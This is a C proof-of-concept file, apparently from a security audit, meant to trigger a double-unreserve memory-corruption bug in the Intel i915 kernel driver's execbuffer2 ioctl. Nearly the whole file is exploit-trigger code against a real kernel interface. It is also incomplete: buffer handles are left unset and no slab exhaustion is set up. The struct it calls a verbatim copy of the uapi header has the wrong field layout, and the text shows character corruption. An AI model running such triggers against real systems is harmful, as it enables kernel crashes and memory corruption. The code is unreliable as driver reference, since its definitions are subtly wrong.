DF-4007 / poc_df4007.c
/* * DF-4007 ioctl PoC โ DRM_IOCTL_I915_GEM_EXECBUFFER2 with 3 buffers where the * exec triggers i915_vma_move_to_active() for a vma that is already active * from a second context (last_active cache miss -> active_instance rbtree * kmalloc), under DRM-slab exhaustion so the kmalloc fails and eb_move_to_gpu * dies mid-loop -> eb_release_vmas double-unreserves the first entries. * * Needs a real Intel GPU (/dev/dri/renderD128). On the audit guest there is * no GPU: the program reports the missing device and exits 77 (per DF-3634 * conventions); the behavioral proof is model_df4007.c. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <stdint.h> #include <sys/ioccom.h> /* uapi (sys/dev/drm/include/uapi/drm/i915_drm.h) โ verbatim subset */ struct drm_i915_gem_exec_object2 { uint64_t offset; uint64_t flags; uint64_t handle; uint64_t reserved; int64_t pad_to_size; uint64_t relocs_ptr; uint64_t relocation_count; }; struct drm_i915_gem_execbuffer2 { uint64_t buffers_ptr; uint32_t buffer_count; uint32_t batch_start_offset; uint32_t batch_len; uint32_t DR1; uint32_t DR4; uint32_t num_cliprects; uint64_t cliprects_ptr; uint64_t flags; uint64_t rsvd1; uint64_t rsvd2; }; #define DRM_COMMAND_BASE 0x40 #define DRM_I915_GEM_EXECBUFFER2 0x29 #define DRM_IOCTL_I915_GEM_EXECBUFFER2 \ _IOW('d', DRM_COMMAND_BASE + DRM_I915_GEM_EXECBUFFER2, struct drm_i915_gem_execbuffer2) int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/dev/dri/renderD128"; int fd = open(path, O_RDWR); if (fd < 0) { printf("open(%s): %s โ no DRM device on this guest (virtio GPU only)\n", path, strerror(errno)); printf("DF-4007 runtime trigger requires an Intel i915 device; see model_df4007.c for the demonstrated control-flow proof.\n"); return 77; } struct drm_i915_gem_exec_object2 objs[3]; memset(objs, 0, sizeof objs); /* handles filled by a real run after GEM_CREATE; pattern only */ objs[1].flags = (1u << 31) /* __EXEC_OBJECT_HAS_REF analog: cmdparser shadow */; struct drm_i915_gem_execbuffer2 eb; memset(&eb, 0, sizeof eb); eb.buffers_ptr = (uint64_t)(uintptr_t)objs; eb.buffer_count = 3; eb.batch_len = 8; int err = ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2, &eb); printf("execbuf2 -> %d (errno=%d)\n", err, errno); close(fd); return 0; } |